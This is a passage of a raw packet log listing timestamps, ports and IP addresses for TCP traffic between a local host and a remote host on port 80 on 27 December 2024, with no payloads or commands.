Dec 27, 2024 08:50:46.764323950 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.765053034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.765198946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.765234947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.765953064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.766072989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.766105890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.766829967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.766992092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.767024040 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.767812967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.768001080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.768038034 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.768667936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.768767118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.768804073 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.769615889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.769736052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.769768953 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.770522118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.770615101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.770648956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.771431923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.771501064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.771543026 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.772317886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.772461891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.772499084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.773271084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.773365021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.773421049 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.774142027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.774240017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.774288893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.775005102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.775165081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.775202990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.775984049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.776061058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.776096106 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.776880980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.776958942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.776994944 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.793134928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.793159962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.793220997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.793222904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.793375969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.793411970 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.794173002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.794303894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.794337988 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.795114040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.795183897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.795218945 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.934107065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.934217930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.934288025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.934452057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.934636116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.934676886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.935390949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.935520887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.935560942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.936590910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.936652899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.936695099 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.937185049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.937277079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.937316895 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.938137054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.938265085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.938311100 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.939050913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.939121962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.939161062 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.939913034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.940015078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.940078020 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.940829992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.940948009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.940984011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.941725969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.941826105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.941869020 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.942671061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.942758083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.942800045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.943574905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.943662882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.943723917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.944484949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.944591045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.944634914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.945455074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.945499897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.945542097 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.946263075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.946367979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.946413994 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.947174072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.947283030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.947326899 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.948242903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.948312998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.948357105 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.948987007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.949115038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.949161053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.949923038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.950059891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.950100899 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.950822115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.950932980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.950968981 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.951745033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.951812983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.951865911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.952692032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.952800989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.952836990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.953592062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.953682899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.953952074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.954488039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.954588890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.954636097 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.955432892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.955590963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.955634117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.956294060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.956381083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.956418037 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.957205057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.957356930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.957396030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.958107948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.958178043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.958216906 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.959033012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.959290028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.959343910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.959978104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.960073948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.960136890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.960845947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.960937977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.960978985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.961776018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.961895943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.961941957 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.962677956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.962774992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.962829113 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.963145018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.963568926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.963699102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.963741064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.964586020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.964673996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.964720964 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.965461016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.965590000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.965626955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.966309071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.966419935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.966463089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.967189074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.967308998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.967355013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.968126059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.968216896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.968257904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.969039917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.969151020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.969230890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.970011950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.970149040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.970187902 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.970947981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.971065044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.971113920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.971817970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.971889019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.971957922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.972722054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.972850084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.972902060 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.973684072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.973836899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.973901033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.974742889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.974834919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.974868059 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.975521088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.975672007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.975709915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.976314068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.976409912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.976447105 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.977247953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.977452040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.977495909 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.978174925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.978264093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.978303909 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.978748083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.986558914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.994211912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.994301081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.994339943 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.994631052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.994781017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.994822979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.995580912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.995701075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.995738029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.996448994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.037369013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.135267019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.135292053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.135395050 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.135461092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.135571003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.135613918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.136395931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.136549950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.136599064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.137288094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.137397051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.137428999 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.138185978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.138290882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.138329029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.139137983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.139229059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.139276028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.140031099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.140158892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.140202999 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.140938997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.141052961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.141092062 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.141835928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.141973019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.142009974 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.142832994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.142965078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.143002987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.143661022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.143804073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.143841028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.144548893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.144658089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.144699097 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.145482063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.145598888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.145632982 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.146392107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.146543026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.146579027 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.147298098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.147355080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.147392035 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.148217916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.148317099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.148353100 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.149118900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.149189949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.149224997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.150022984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.150141001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.150182009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.150907040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.151030064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.151067019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.151906967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.152050972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.152087927 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.152780056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.152889013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.152924061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.153656960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.153753042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.153789997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.154563904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.154704094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.154767990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.155472040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.155589104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.155628920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.156372070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.156465054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.156500101 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.157289982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.157407999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.157447100 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.158701897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.158720016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.158775091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.159189939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.159296036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.159343004 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.160038948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.160109997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.160160065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.160938025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.161056042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.161097050 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.161827087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.161947966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.161983013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.162810087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.162837982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.162883997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.164910078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.164968967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.164983988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.165014982 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.165021896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.165055037 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.165488958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.165647030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.165688992 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.166395903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.166523933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.166563034 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.167306900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.167433977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.167473078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.168227911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.168324947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.168363094 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.169229984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.169302940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.169342041 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.170058012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.170152903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:47.170197010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:47.171042919 CET	80	49752	185.215.113.16	192.168.2.6
